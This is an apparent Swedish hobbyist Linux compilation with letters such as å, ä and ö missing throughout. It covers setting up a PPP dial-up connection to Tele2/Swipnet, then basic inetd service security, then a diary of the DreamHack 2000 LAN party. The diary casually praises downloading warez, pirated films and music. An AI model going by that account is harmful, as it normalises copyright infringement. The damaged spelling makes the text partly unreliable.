OBS att du br skriva hela filvgen s att du skert vet att rtt ppp-on krs (det kan ju finnas 
fler och det r inte skert att katalogen /usr/sbin ingr i skvgen). 

Om det verkar som om frbindelsen upprttas kan du frska kra ngot program mot 
Internet (ssom ftp mot ngon svensk ftp-server, t ex ftp.sunet.se). Om ven detta gr bra, s 
har du en fungerande Internet-uppkoppling 

Fr att avsluta uppkopplingen br du sedan kra kommandot 

     /usr/sbin/ppp-off

Om du valde att ven vanliga anvndare skall kunna gra uppkopplingen, dvs utan att vara 
inloggad som root, br du ocks logga in som vanlig anvndare och gra om testen. Om det 
inte fungerar beror det frmodligen p att ngon tkomstrttighet r felaktig (se avsnittet om 
fel nedan). Lgg dock mrke till att i nuvarande skick kan bara root stnga av frbindelsen 
(med ppp-off). Det finns lsningar p detta problem, men de r enligt min mening inte 
speciellt bra, s jag har inte
implementerat detta n. 

Trubbel - det fungerar inte!
Vanliga fel

     Om modemet inte reagerar nr du ger detta kommando (och om du skrev rtt), d r det 
frmodligen antingen fel p modemet (kontrollera att det r pslaget och att modemkabeln 
sitter rtt) eller s r fel serieport knuten till modemet.

Om det senare r fallet mste du frst radera den gamla lnken /dev/modem (med kommandot 
rm /dev/modem), och drefter kan du antingen kra om programmet eller manuellt fixa det 
(med kommandot ln -s /dev/cuaX/dev/modem dr X r 0,1,2 eller 3 beroende p vilken 
serieport modemet r kopplat till). 

Om modemet ringer upp men det inte svarar ett modem i andra nden, d r frmodligen 
telefonnumret felaktigt eller s fungerar inte servern fr tillfllet. 
Om telefonnumret r korrekt (kontrollera filen /etc/ppp/provider), d kan det vara fel p 
loginnamnet eller lsenordet (kontrollera samma fil och filen /etc/ppp/ppp-secrets) eller s 
kan det vara fel i sjlva scriptet (skicka d ett brev till undertecknad med en felbeskrivning) 

Om uppkopplingen fungerar med root men inga andra anvndare (och du vill att inte bara root 
skall ha rtt att gra uppkopplingen), d r rttigheterna p ett eller flera av kommandona och 
ev ven p modem-enheten felaktiga. Du kan d antingen kra om programmet eller ndra 
rttigheterna manuellt: 

      chmod 755 /usr/sbin/ppp-on /usr/sbin/ppp-off
      chmod 666 /dev/cuaX
      chmod 4755 /usr/sbin/pppd

Felskning

Alla ppp-uppkopplingar loggas i filen /var/log/messages. Om ngot krnglar kan man allts 
dr kontrollera vad som hnt. Fr att lsa filen kan du t ex ge kommandot: 
     less /var/log/messages
Blddra dig fram till ppp-loggen med tryck p mellanslagstangenten eller anvnd
skmjligheten (skriv /ppp inne i less). 


Anmrkningar

Detta r en ej frdigtestad programvara och innehller sannolikt fel och kan skert frbttras 
p mnga olika stt. Fr att det skall bli mjligt att rtta buggar och infra frbttringar krvs 
dock att du som har synpunkter eller hittar fel meddelar undertecknad detta. ven du som 
anvnt programmet med framgng br skicka mig ett meddelande om detta (uppge din 
leverantr),  s att jag fr bekrftelse p att det hela fungerar. Founder@lords.com

Good Luck!

Faktauppgifterna om de olika leverantrerna och grundscripten fr sjlva uppkopplingen har 
jag frmst hmtat frn  FAQ fr R20_LINUX - Linuxmtet i Svenska fidonet
Utan denna information skulle detta installationsprogram inte existerat.


        (Sammanstlld av Bjrn Lind*** Mars -98 -- uppdaterad hsten-98)
Uppkoppling till Swipnet (Tele2) med PPP.

I den hr artikeln skall jag beskriva hur man tmligen smrtfritt fr sin 
uppkoppling till Tele2:s swipnet att fungera. Vi antar att din Linux-maskin 
r en fristende dator och att du har modem och ett Internet-konto hos Tele2. 
Dessa anvisningar fungerar ocks till Telia, men du fr ange annan DNS = 
namnserver, nmligen 10.0.0.1 och 10.0.0.2

Frberedelser

Kontrollera frst att du har pppd installerat i krnan och vilken version 
av pppd du kr med kommandot:
$ /user/sbin/pppd version
Detta kommando r ett trick som ger ett felmeddelande men ven versionsnumret. 
Om du kr Redhat finns pppd installerat. Nsta steg r att kolla att krnan stder 
ppp. Ge kommandot:
$ dmesg | grep -i ppp
Du skall f som svar:
PPP: version 2.2.0 (dynamic channel allocation) 
PPP Dynamic channel allocation code copyright 1995 Caldera, Inc 
PPP Line discipline registered
Om inte, kanske ppp r installerat som modul. Logga in som root och testa:
$ insmod ppp
Om detta misslyckas, mste du kompilera om krnan fr att f ppp-std. Ls i 
/usr/src/linux/README hur du gr detta. Nr du konfigurerar krnan skall du 
svara ja p fljande rader:
General setup ---> 
                                                    [*]    Networking support 
Network device support ---> 
                                                    [*]    Network device support 
                                                    <*>  PPP (point-to-point) support 
 
Dessa rader kan se annorlunda ut i icke-2.0 krnor. Nr du har kryssat fr dessa alternativ, 
skall du kompilera den nya krnan. Se /usr/src/linux/README. 
Ok - d har du ppp-std installerat. D r det dags se till att modemet finns p rtt port. 
Ofta r musen installerad p com1 (cua0 i Linux) och d br modemet vara kopplat till 
com2 (cua1 i Linux). Skapa nu en symbolisk lnk till modemet:
# cd /dev 
# ln -sf /dev/cua1 /dev/modem

Minicom.

Fr att installera modemet p rtt port, kan vi anvnda programmet minicom. 
Det r ett terminalprogram som man kan anvnda fr att testa att modemet 
fungerar som det ska. Du kan ven logga in p Swipnet fr att kontrollera hur 
inloggningen ser ut. Detta r viktigt att knna till nr man senare skall skriva ett 
inloggningsscript. 

Om du kr Linux Redhat version 4.0 eller senare, kan du starta Xwindows 
och dr installera modemet via "controlpanel", inloggad som root. 
Kom ihg com1=cua0 com2=cua1. 
Ok - du str vid prompten och r inloggad som root. Skriv minicom s 
D startar programmet minicom och du hamnar direkt i  [configuration]. 
Vlj alternativet "serial port setup". Frsta instllningen dr r "Serial Device". 
Det r den viktigaste instllningen - vilken port ditt modem r ansluten till. 

Lngst ner str det "Change which setting?" Tryck A och skriv sedan in - /dev/modem 
Tryck sedan <enter> fr att konfirmera din instllning. Tryck sedan <esc> fr att 
lmna instllningen. Blddra ner till "Exit". Tryck <Enter>. Programmet kommer 
att visa en ruta dr det str "Initializing modem" och s smningom kommer 
du fram till en skrmsida som ser ut som nedan: 
  
                                        Welcome to minicom 1.75. 
  
                                        Press CTRL-A Z for help on special keys
                                        AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0 
                                        OK
Nu r du klar att ringa upp med minicom. P raden under Ok, dr cursorn str och 
blinkar, skriver du in:

ATDTxxxxxxx                            (xxxxxx=telefonnumret till din Internetleverantr)
Nu skall modemet koppla upp direkt och du skall hamna vid en login-prompt. 
  
           Username:                  Hr skriver du in ditt kontonamn (s-xxxxx). 
           Password:                  Hr skriver du ditt lsenord. 
           Swipnet>                   Du r inloggad.
Du kan nu testa att skriva ?  Du kommer att f en lista ver de kommandon du kan 
anvnda. Men det r inte s viktigt nu. Huvudsaken r att du kopplades upp och 
att du hamnade vid login-prompten. 
Avsluta nu med quit och terg till din maskin. Fr att avsluta minicom, trycker du 
CTRL+A>, sedan  <Z>. D skall du f en meny dr du kan vlja olika alternativ. 
Vlj X - dvs avsluta minicom. 
Du har nu kommit en bra bit p vg, att f en uppkoppling mot Internet att fungera. 
Om det ovanstende inte fungerar, r du tvungen att kontrollera att ditt modem sitter i 
rtt port och att initieringsstrngen funkar med ditt modem. Om du har en manual fr 
modemet, br du kontrollera dr hur initstrngen skall se ut. Defaultstrngen br fungera 
som den r, men man vet aldrig. Frhoppningsvis kopplade modemet ner p rtt stt. 
Skulle inte detta vara fallet, kan du skriva ps vid prompten.  Du fr d en frteckning 
ver de processer som r aktiva. Dr skall du kunna se vilken process som anvnds av 
minicom - om den fortfarande r aktiv. Skriv d kill och numret p processen s skall 
modemet koppla ner.

Konfigurera PPP

PPPd-programmet kan acceptera parametrar frn tv stllen. Dels direkt vid prompten, 
dels via en "options"-fil. Att skriva parametrarna vid prompten, kan vara bkigt, s jag 
visar hur man skriver en options-fil. Normala stllet fr filen r:
/etc/ppp/options

Detta r en enkel textfil som innehller de parametrar som pppd anvnder vid 
uppkopplingen. Denna fil mste vara lsbar fr alla som skall kra pppd-programmet. 
Fr det mesta r det root. Om du inte har ett /etc/ppp-bibliotek, skapar du ett sdant 
(inloggad som root):
# mkdir /etc/ppp 
# chown root:root /etc/ppp 
# chmod 755 /etc/ppp

Skapa en /etc/ppp/options -fil med vi, eller den editor som du fredrar. Denna fil skall inne- 
hlla parametrar som tex modemhastighet, port som modemet r anslutet till, vilket script 
som handhar inloggningen och att du fr ett IP-nummer tilldelat dynamiskt av din 
Internetleverantr  i det hr fallet Tele2. Skriv in fljande rader:
debug 
/dev/cua1 
115200 
modem 
crtscts 
lock 
connect /etc/ppp/net-connect 
asyncmap 0 
defaultroute 
:
Detta betyder: 
1. Du vill att ppp skall ge dig information nr det krs 
2. Ditt modem r kopplat till com2 (dos) eller cua1 
3. Modem-hastigheten r 115200 
4. Du vill lyssna p Data Carrier Detect- signalen 
5. Du vill anvnda "nomal" handskakning (RTS/CTS) 
6. Du anvnder lock - prioritering fr modemet ver andra program 
7. Ditt uppringningsprogram r /etc/ppp/net-connect 
8. Du anvnder 8-bitars uppkoppling 
9. Defaultroute skall anvndas 
10. Din internetleverantr tilldelar dig ett IP-nummer (dynamiskt tilldelat IP)
Detta script r tmligen ordinrt fr en ppp-uppkoppling mot en ISP (Internet Service 
Provider)  som tilldelar dig ett IP-nummer varje gng du kopplar upp.(Dynamiskt tilldelat IP-
nummer dvs  du fr ett nytt IP-nummer vid varje tillflle du kopplas upp. Alternativet r fast 
IP-nummer - dock inte s vanligt). 
Ok - d kr vi vidare. Du skall nu skapa en fil kallad net-connect som pekar mot ett script 
som kallas chat. 

Skapa filen med:

# cd /etc/ppp 
# vi net-connect  
Startar editorn vi med namnet p den fil du vill skapa dvs net-connect. Nr programmet 
startas str du i kommandolge. Tryck d  <i> fr att hamna i inskrivningslge. Skriv in:
# ! /bin/sh 
/usr/sbin/chat -v -t 60 -f /etc/ppp/net-chat
Avsluta vi med kommandot  <esc : wq> (Tryck p esc-tangenten, drefter p :-tangenten 
och skriv wq vid :-tecknet lngst ner p sidan). D sparas filen och vi avslutas. Skulle du 
skriva fel, kan du avsluta med <esc : q!> D avslutas programmet utan att ngot sparas.
Ok - d har du skapat en fil som heter net-connect. I den filen har du talat om att programmet 
chat pekar mot filen net-chat som du snart skall skapa. Chat-scriptet startas med 
argumenten -v = visar hur uppkopplingen gr direkt p skrmen, -t = tidsangivelse som anger 
hur lnge programmet skall vnta innan det avslutas om uppkopplingen skulle misslyckas, 
-f = talar om fr programmet chat namnet p den fil som skall anvndas vid uppkopplingen, 
i det hr fallet, filen net-chat. Se till att filen r lsbar och exekverbar av alla som kan starta 
pppd. 

Skriv:
# chmod 500 /etc/ppp/net-connect 
# chown root:root /etc/ppp/net-connect
D skall du skapa en fil som heter net-chat som automatiskt skter inloggningen till Swipnet. 
Starta vi och skriv in:
TIMEOUT          50 
ABORT            '\nBUSY\r' 
ABORT            '\nNO ANSWER\r' 
ABORT            '\nRINGING\r\n\r\n\RINGING\r' 
''               \rAT&C1&D2Q0V1X4                          // obs '' = 2 st apostrofer utan mellanslag  
'OK-+++\c-OK'    ATH0                                                     // obs 0 = siffran 
OK               'ATDTxxxxxx'                                        // xxxxx = ditt telefonnummer till Tele2 
CONNECT          '' 
name:            s-xxxxxx                                               // Hr skriver du in ditt inloggningsnamn 
word:            xxxxxxxx                                              // Hr skriver du in ditt lsenord 
net>             PPP                                                      // obs - tabavstnd mellan net> och PPP
__________________________________________________________________________
Viktigt att du skriver exakt som det str hr ovan. Slarva inte hr - d fr du problem senare 
t.ex att modemet kopplar ner utan frvarning. 
__________________________________________________________________________
Spara filen. Nu skall det mesta vara klart fr att du skall kunna koppla upp dig mot swipnet. 
Frst skall dock rttigheterna till filen ndras fr att den som skall anvnda pppd, skall ha 
tillgng till filen.
# chown root:root /etc/ppp/net-chat 
# chmod 600 /etc/ppp/net-chat

En detalj terstr innan du kan testa uppkopplingen. Du r tvungen att ange en nameserver 
och dess IP-nummer. Namn och nummer p  servern har du ftt frn Tele2 nr du kpte ditt 
abonnemang. 
Nstan lngst ner p dessa uppgifter, ser du raden Namnserver 192.71.220.10  Detta IP-
nummer 
skall du lgga till i en fil som heter resolv.conf som finns i katalogen /etc.
# cd /etc 
# vi resolv.conf 
nameserver 192.71.220.10 
nameserver 130.244.127.161   // Ny namnserver hos Tele2 
nameserver 130.244.127.169   // Ny namnserver hos Tele2
Fr er som har Telia som leverantr - ange istllet ip-nummer till 
10.0.0.1 och 10.0.0.2
Avsluta och spar filen. Nu r du redo att testa uppkopplingen. Skriv vid prompten:
# pppd 
  
Skulle inte detta funka - testa:
# /usr/sbin/pppd
Nu skall modemet koppla upp och inloggningen till swipnet ske automatiskt. 
Du kan hlla gonen p modemet fr att se att det kopplar upp p rtt stt och att 
det inte kopplar ner igen. Vnta en stund s att du r sker p att uppkopplingen har 
lyckats och r stabil. Du kan nu testa din uppkoppling med ett program som heter ifconfig.
# /sbin/ifconfig
Du skall d f en lista p de uppkopplingar du har. Din ppp-uppkoppling syns som:
ppp0     Link encap:Point-to-Point Protocol 
             inet addr:192.71.220.24 P-t-P:192.71.220.10 Mask:255.255.0.0 
             UP POINTOPOINT RUNNING MTY:1500 Metric:1 
             RX packets:106519 errors:0 dropped:0 overruns:0 
             TX packets.111873 errors:0 dropped:0 overruns:0
Du ser nu att du r uppkopplad. Du kan ocks se vilken IP-adress din dator har 
tilldelats vid inet addr:192.71.220.24 Om uppkopplingen inte fungerar, kan du g 
till /var/log/messages och lsa den filen fr att se vad som eventuellt har gtt fel. 
Men om du har Linux Redhat och din Internet-leverantr r Tele2, skall det hr fungera bra. 
  
Ett annat stt att kontrollera uppkopplingen, r att anvnda programmet ping.
#ping 192.71.220.10  // Detta r IP-numret till Swipnets namnserver
PING 192.71.220.10 (192.71.220.24) 56 data bytes 
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=437.0 ms 
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=421.4 ms 
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=430.9 ms 
^C  #avsluta med ctrl+c 
3 packets transmitted, 3 packets received, 0% packet loss 
round-trip min/avg/max = 421.4/437.0/430.9 ms
Fr att avsluta - skriv ps vid prompten(som root). Du ser d de aktiva processerna. 
Kolla in vilket pidnummer din pppd-process har och skriv sedan kill 345 
eller det nummer som din pppd-process har. D skall modemet koppla ner. 
Varje program som krs eller r aktivt, har sitt eget pid-nummer. (Process Identification 
Number). Om du ngon gng fr problem med att ett program hnger sig eller inte 
avslutas, kan du manuellt "dda" programmet med kommandot kill. 
kill -9 pidnr r ett annat stt att "dda" frbindelsen om det vanliga kill inte skulle 
koppla ner ditt modem. 

En annan variant r att logga in p nsta virituella konsoll och drifrn "dda" programmet 
om du tex fastnar "inuti" ett program och inte kan avsluta med kill-kommandot. Detta kan 
hnda nr du kopplar upp dig och servern inte svarar p dina kommandon. Ett annat stt 
kan vara att helt enkelt sl av modemet och anvnda kill fr att avsluta processen.
Med Redhat fljer script som du kan anvnda fr upp- och nerkoppling. Jag anvnder 
sjlv ppp-off fr att "stnga" min frbindelse till Internet. Sk efter ppp-off med 
kommandot locate - det skall ligga i /usr/doc/ppp-2.2.0f/scripts/ om du har Redhat 5.0 
Kopiera scriptet till tex din hemkatalog med kommandot
$ cp /usr/doc/ppp-2.2.0f/scripts/ppp-off /home/anvndare
Scriptet kan du sedan anvnda utan modifieringar fr att koppla ner -
$ ppp-off
Modemet kopplar d ner frbindelsen.
Scriptet ppp-on kan du ocks anvnda efter modifieringar, men eftersom pppd som 
kommando r lika ltt att anvnda, skippar jag sjlv ppp-on

Om du vill ge anvndare mjlighet att koppla upp sig mot Internet, br du ge 
dessa anvndare rttigheter att anvnda de olika scripten som beskrivits ovan. 
Men tnk p att du inte "ger bort" lsrttigheter om du inte vill skylta med 
lsenordet fr alla vriga anvndare. 
Jag r sjlv ensam anvndare p min Linux-burk s jag behver inte detta 
"skydd", men det r "skrare" att anvnda uppkoppling som anvndare n 
som root. Dessutom kan du stta p problem nr du anvnder epost-program 
som tex Pine, d avsndaren kommer att bli root om du kr uppkoppling och 
epost-program som root. Det finns skert ngot stt att ndra avsndare, 
men jag har sjlv inte lyckats f reda p hur.S drfr har jag skapat en anvndare 
som motsvarar mitt epost-namn, (bjorn.lindblom@xxxxx.se) och slingrar mig drmed 
runt detta problem. 
  
Jag har nu ftt reda p hur man kan byta avsndare p e-posten i Pine. 
ppna .pinerc som du har i din hemkatalog - g ner till Preferences och under 
feature-list= , skriver du in allow-changing-from. Sedan vidare ner till customized-hdrs= 
dr du skriver in From: Det namn du vill se som avsndare tex From:Jag  
och sedan Reply-To: anvndarnamn tex Reply-To: Jag. Detta gr att nr du skickar 
ett meddelande, kommer detta meddelande att ha som avsndare det namn du anger hr. 

Allts: 

1. ppna .pinerc som du har i hemkatalogen, tex med 
    # vi .pinerc 
2. G ner till preferences 
3. Under feature-list - skriv in allow-changing-from 
4. G till customized-headers= dr du skriver in From:ditt-namn@xxxxx 
     och Reply-To:ditt-namn@xxxxx
Nu kommer Pine visa dessa rader i headern nr du skickar epost och mottagaren kan trycka p 
svara utan  att bry sig om den adress han svarar till, och meddelandet kommer till den adress 
du specificerat under Reply-To. 
 

Du kan ocks testa din uppkoppling med lsaren lynx. Skriv d -
# lynx http://home1.swipnet.se/~w-13264/ppp.htm
Du skall d komma till den hr filen i txt-format, om allt funkar som det ska. 
Du kan ocks hmta hem Netscape fr Linux p Netscapes hemsida - 
 Netscape  och installera den efter de anvisningar som medfljer programmet. 
Starta sedan xwindows och via term-fnstret kan du kra Netscape.

Sammanfattning: 

1.  # dmesg | grep -i ppp          Kolla om krnan stder ppp 
2.  minicom                              Manuell uppkoppling mot ISP 
3.  /etc/ppp/options                  Uppkopplings-parametrar 
4.  /etc/ppp/net-connect           Fil som chat anvnder vid uppkopplingen. 
5.  /etc/ppp/net-chat                 Inloggningsscript. 
6.  /etc/resolv.conf                    Namnserver med IP-nummer. 
7.  /sbin/ifconfig                        Kontroll av uppkoppling. 
8.  ping                                    Kontroll av uppkoppling. 
  
  
Om du har fler datorer och vill anvnda din Linux-burk som gateway mot Internet, 
kan du kolla p min enkla beskrivning hur du anvnder Ip-Masquerade fr att utnyttja 
hela ditt lokala nt mot Internet.IP-Masquerade
Nu kanske det r dags att fixa din e-post ox och jag visar hr hur man anvnder 
Fetchmail och Pine fr detta.
Lycka till och lev lugnt!


Ntverkstjnster

Vilka ntverkstjnster som finns tillgngliga beror givetvis i frsta hand p vilka du har
installerat. I andra hand r det demonen inetd som bestmmer vad som ska finnas tillgngligt.
En demon r ett program som hela tiden ligger i bakgrunden och utfr en del grejor p
kommando, inetd startar t.ex. upp ftp-servern nr ngon eller ngot frsker komma t port
21. Skerhetsmssigt ska du ha s f servrar tillgngliga som mjligt: ju fler drrar desto
strre chans att ngon bryts upp.

Skerheten r ngonting som du mste tnka p hela tiden. Det r inget ltt mne, varken i 
Linux eller i ngot annat system. Problemet r ocks att om du vljer ett system som r enkelt
att konfigurera skerhet p, r risken stor att du blir lurad av falsk skerhet. Vissa system r
dessutom mer utprovade n andra. Sedan mste du givetvis se till att ha program utan
skerhetshl.

Varje gng du upprttar en frbindelse mot ngon server, t.ex. en teleserver, kontaktar du en
speciell port. Nr servern mrker att du frsker n port 23 kommer den, lite frenklat, att
vidarebefordra dig till telnetservern. I detta fall r servern ett program. (en demon).

Inetd konfigureras i filen /etc/inetd.conf. Konfigurationsfilen r ganska ltt att ndra i;
Titta bara p hur de andra programmen r konfigurerade.


# cat /etc/inetd.conf | grep telnet
telnet stream tcp nowait root /usr/sbin/in.telnetd
# cat /etc/services | grep telnet
telnet 23/tcp

(Du fr lra dig mer om telnet och GREP kommandot senare i HM).

Frsta fltet anger vilken tjnst det handlar om; se /etc/services efter vilka tjnster som finns.
Att det str telnet innebr att resten av av raden gller nr ngon frsker komma t port 23.
Annars r det bara det sista fltet som r intressant, dvs skvgen till programmet inetd skall
starta. Titta igenom /etc/inetd.conf och kommentera ut allt du inte behver. Ta sedan reda p
demonens PID-nummer och starta om den med kill SIGHUP <PID>.

Du kan prova kommandot netstat om du vill se vilka tjnster som r aktiva.

Ok, ni som inte har frsttt ett stouft, vnta bara. Jag kommer lra er detta s smningom i
nsta nummer eller s, sedan fr du g tillbaka och kolla igen. Jag hade som en liten
uppgift av ett flertal lsare som ville ha lite mer avancerad text. Detta r inte srskiljt
avancerat. ;-). Men det uppfyller nog de flestas krav. Fr er som har brjat med Linux och
kan grunderna.

Det ingr mnga olika tjnster, hr r ett urval:

FTP  File Transfer Protocol, vldigt vanligt p Internet. I detta fall handlar det om en
FTP-server. Kolla om du har en FTP igng genom att kra ftp 127.0.0.1 . Det r en
potentiell skerhetsrisk och om du inte behver en ftp-server anser jag att du br aktivera
p ngot stt, ssom att kommentera ftp-raden i inetd-konfigurationfil. (Gr s att den
ignoreras av systemet). Om du behver en ftp-server r det viktigt att den konfigureras rtt,
hll ven ett ga p uppdateringar om ngon skerhetsbugg skulle upptckas.

TELNET  Telnet anvnds om man vill logga in p en annan dator, en telnet-server r
sledes ett program som lter ngon annan logga in p din dator genom telnet.
Du br inte grna anvnda telnet, utan anvnd i stllet Secure SHell. (SSH), som anvnder
stark kryptering. Utan kryptering r det mjligt fr folk att snappa upp inloggningsnamn 
och lsenord eftersom dessa skickas i klartext ut ver Internet. (Mer om det i nsta bok).
En del Internetleverantrer lter dig telnetta till deras datorer och anvnda dem.
Telnet anvnds allts om man vill logga in p en annan dator via ntverk.
Fungerar p samma stt som nr du loggar in p din egen.

FINGER  Finger r en slags fregngare till personliga hemsidor. Man krde 
Finger kalle@datornamn fr att f se kalles personliga .plan-fil. ven finger r ett 
potentiellt skerhetshl. Prova att kra finger p dig sjlv p din egen dator, 
finger ditt_namn@localhost. 

SMTP  Smtp anvnds fr att transportera E-mail, det finns SMTP-servrar till Linux.
Sendmail, qmail och smail r nog de vanligaste. Med en sdan kan du stta upp en
mailserver. En smtp-server kan vara vldigt svr att konfigurera; det r dessutom vldigt
oskert om det inte grs ordentligt. Qmail r frmodligen den enklaste och snabbaste
SMTP-servern. Sendmail r knt fr sina mnga buggar och bakdrrar.


Kapitel 7: Dreamhack 2000

Den 30:e November r 2000, anlnde icecoder och RobbTheJobb till DreamHack,
Nordens strsta demoparty.

DreamHack r ett s kallat Demo Party som ger rum i Borlnge varje r.
Det startades r 1997 och har hllit p sen dess.
Vad r d detta??
Svar; 4000 personer, cirka 500 (fler`?) med datorer, uppkopplade i ntverk.
Ungdomar frn hela vrlden samlas i Kupolens arena och tvlar i spel, design, musik och
programmering. Hela Jolt fabriken kptes slut. verallt fanns dr backar.
Dundrande musik verallt. Folk som frsker verrsta varrandras musikanlggningar,
alla kopplade till varsina PCs.

DAG 1: onsdag

Vi tog ledigt redan p Onsdagen i och med att vi d hade friluftsdag i skolan, vi behvde ju
tid att packa! ;-). Checklistan innehll bland annat:

? ronproppar
? Papper & Penna
? Dator (ehe..)
? CD/CD-R(W) skivor
? Hgtalare
? Julgransbelysning
? Toapapper
? Handduk
? Tandborste/Tandkrm
? Hrvax
? Pengar
? Mobiltelefon
? Kamera
? Batterier
? Hrlurar
? Sovsck
? Liggunderlag
? En massa sladdar

Med mer.. Vskorna blev verfyllda. (Tv st. + en stor madrass).
Vi kunde inte hlla oss utan plockade upp datorerna och skapade ett litet LAN.
Vi satt och programmerade dator-skydd hela natten. Om ej rtt lsenord skrevs in startades
Tre kopior av programmet, sedan brjade skrmen blinka rtt och gult och ge ifrn sig ett
Pip-pip-pip ljud, p skrmen stod d ocks DONT U FUCKING TOUCH ME!.
Detta om detta, det fungerade bra iaf. 
Sedan sov vi.. (Inte s intressant dag kanske? Spara checklistan fr framtida behov ;-)  ).


DAG 2: torsdag

Vi gav oss ivg i farsans bil klockan 07:30.
Stressigt som fan. Kontrollera att allt r med.. Bla bla  bla, und so weiter..
RobbTheJobb sov mest hela resan dit, (1.5 timma ungeffr), jag frskte vila mig lite,
natten innan kunde jag inte sova och lg drmed vaken fram till klockan 5 p morgonen.

Nr vi kom fram blev vi lite trtta av att se den stillastende k som bildats utanfr drrarna.
Folk ville in och byta ut sin biljett mot det grna plastband man fick runt handleden fr att
smidigt ta sid in och ut. (Exakt ett sdant band man fr bra nr man har permission frn
sjukhuset, men med en klatchig DreamHack design ;-) ).

Nr vi kat klart kunde vi brja bra in vr utrustning.
DH hade ngon vecka tidigare tagit bort Seat-map och vi visste drfr inte vart vi skulle
sitta, (det var vi inte ensama om). Vi gick till informationen och hittade snart vra platser.
Knkade ivg med vskorna, dr! Rad F, plats 102.. eller nt?, japp, dr lg vra namnskyltar
fint uppslngda p spnskivsbordet.

- Men va fan nu d!? Man har ju bara 1.2 meters bredd att sitta p ju! Jag kommer inte f 
plats med datorn! Och killen mittemot hade parkerat sin skrm t helvete fr lngt in, jag
Bad honom flytta den lite mer bakt, men den var ju redan s indragen det gick.. Arg!
Till slut lyckades jag snirkla mig in, med knapp marginal. Jag hll mig innanfr strcken,
men visst tusan var tangentbordet halvt svvande i luften.

Till slut kom vi till rtta. Datorerna funkade fint.
Grannen dremot, hur fan kan man komma dit utan operativsystem i burken?
Det frsta han gjorde var att kra installationen fr Windows2000,, nr han var
klar mttes han av den nrmast klassiska BlueScreen of Death.
Toppen! Ominstallera igen.. Tre timmar till spillo ;-).

Vad gllde ljudkvaliten var vi kungar tminstone den frsta dagen, tills de tv mystiska
Got-killarna kom och smllde upp sina hemmabyggda basldor. Usch! Mellow i verfld.

Vi hjde volymen, de hjde volymen, vi hjde mer, de hjde mest.
Dock kunde de inte vertrffa min ronskrande diskans. Fyra sm hgtalare riggade
ovanp burken. 
-Fan! Vnta bara tills nsta r.. jag SA ju att jag skulle tagit med mig anlggningen! >=)

Efter att vi gjort oss hemmastadda vid borden gick vi till en av restaurangerna vid
kpcentrat p undervningen. Pizza! Men fan va spnd man var, stressad, sugen p att
springa tillbaka till datorerna, efter tv tuggor kndes det som att man skulle spy.
Weird feelings. Vi tog med oss pizzorna i en varsin kartong och tergick till datorerna.
Nu hade ven vi infrskaffat oss en back med Jolt.

Halsbrnna efter fem Jolt.
Nu brjade vi f igng ntverket. 
- Vart fan r drivrutinerna fr ntverkskortet!?
- Vadd? Har du inte samma som jag?
- Jag trodde ocks det.
- Testa; C:\Windows\System , Testa D:\WIN98 
- Hmm,, hittar inte..
** Reboot **
Disketter hit och dit, kablar hit och dit. Ett virrvarr av sladdar och julpynt.

Sedan kom mardrmmarna, sladdar var fel kopplade, de drogs brutalt och obetnksamt ut av
crew medlemmarna, 
- ALLA SKARVAR SKA SITTA I SPRAYADE GRENKONTAKTER! INTE
SERIELNKADE!
Fy fan, det tog minst fem timmar innan allt var i ordning. Till sist hittade ven jag ett uttag fr
min skarvsladd. Vid kvllningen slcktes lysena i taket och alla ljublade.
Hurra! Lite stmning! Grymmt..
Folk lg och sov hr och dr hela dagarna, mest folk var det p golvet mellan 02:00 och
12:00. Men ven vid tider som 16:00 kunde man hitta ungdomar nedkrupna i sovsckar
verallt runtomkring borden och bakom toaletterna.

Jag gick sjlv och lade mig vid 03;00 tiden. RobbTheJobb satt kvar vid datorn och tankade
hem warez mm..

Dag 3: torsdag

Toppendag! Internet hade nu kommit i bruk. Vi kunde komma ut p IRC! Jiiehaa!!
Nu var klockan cirka 13:00 och alla hade kommit p plats med sina datorer, lampor,
anlggningar, flktar mm.. D var DH mnniskorna s smarta att de tnde lamporna i
taket fr att media skulle kunna filma. Det var ju nd p tiden att vakna!?
Ok, s vad hnde? Strmmen gick! I HELA KUPOLEN ARENAN.
Dessutom lamslogs McDonalds, en kld- och en leksaksbutik.
Det blev tyst i tv sekunder, sedan brt de 2000 beskarna ut i ett ofantligt ljubel som
versteg det tidigare d lamporna slcktes. Fy fan! Detta kommer ta tid konstaterade vi alla,
folk tog p sig sina jackor, brjade rra sig utt. Kamerablixtar flashade verallt.
(Se foton p www.dh.haxerz.com) 
P vgen ned fr trappan rkade jag hra en frvirrad 17 ring sga tyst till sin kompis,
Varfr r alla p vg ut??. =)
Gissa.. Ok, s vi gick till Hemkp. Sedan till kpcentrum. Tyvrr! Fel stlle, vi skulle ha gtt
till McDonalds dr det nu serverades gratisburgare. ?.

Efter ngon timme gick vi tillbaka och satte oss. Strmen var fortfarande frnvarande.
Vr granne stod lutad ver skrmen, liksom nr vi lmnade honom tv timmar tidigare.
Crewet letade sig igenom virrvarret av sladdar. Vi sg en elektriker i kpcentrumet, han
stod p en stege och skruvade med en massa kablar uppe i taket.
Fan, det r tur att de kan kalla in elektriker p mindre n 5 minuter.

Strmen gick minst tre gnger till den dagen. P DH-monitorn framme vid scenen kunde man
d och d lsa meddelanden som lovade mer strm snart. Man skulle stta igng brum brum
maskiner i kllaren. Wow! Ds!.



Jag lt datorn st och idle:a ver natten, laddade hem warez och stdje mina IRC kanaler ;-).
Fr frsta gngen sg jag ocks hur endast tid kan lna sig. Morgonen drp hade jag ftt
OP i bde #pr0n, #crackers, #lamers och #Secure. ?.

Dag 4: fredag

Idag upptckte jag charmen med VCR, AVI och MPEG. Vi laddade hem filmer som;

Shaft, Gladiator, Leon, 
Gone in 60 secounds, StarTrek 6, Cruil Intention, Romeo Must die, 6:e Sinnet, Scary Movie,
Cayota Ugly, Ninja Scroll, Hackers, Never bin kissed, Roadtrip, Hollowman, Blairwitch
Project 2, Sleepy Hollow, Tigers Film, Xmen, Tekken, Matrix, Blue Streak, Boondok Saints

(Blairwitch Project 2 hade t.ex. inte nnu haft BIO premir i Sverige.).
Tufft! Jag trodde inte att det var s ltt att f tag p bra filmer.
Tyvrr fick vi inte plats med vissa filmer p vra CD skivor. ?.

Dessutom laddade vi hem mngder av MP3:or och spel mm..
Helt underbart med delade hrddiskar!


Lrdag rullade p som ingenting.. Vi gick till McDonalds och diverse andra stllen.
NM. =).

Prisutdelningar till de som vunnit demotvlingar.
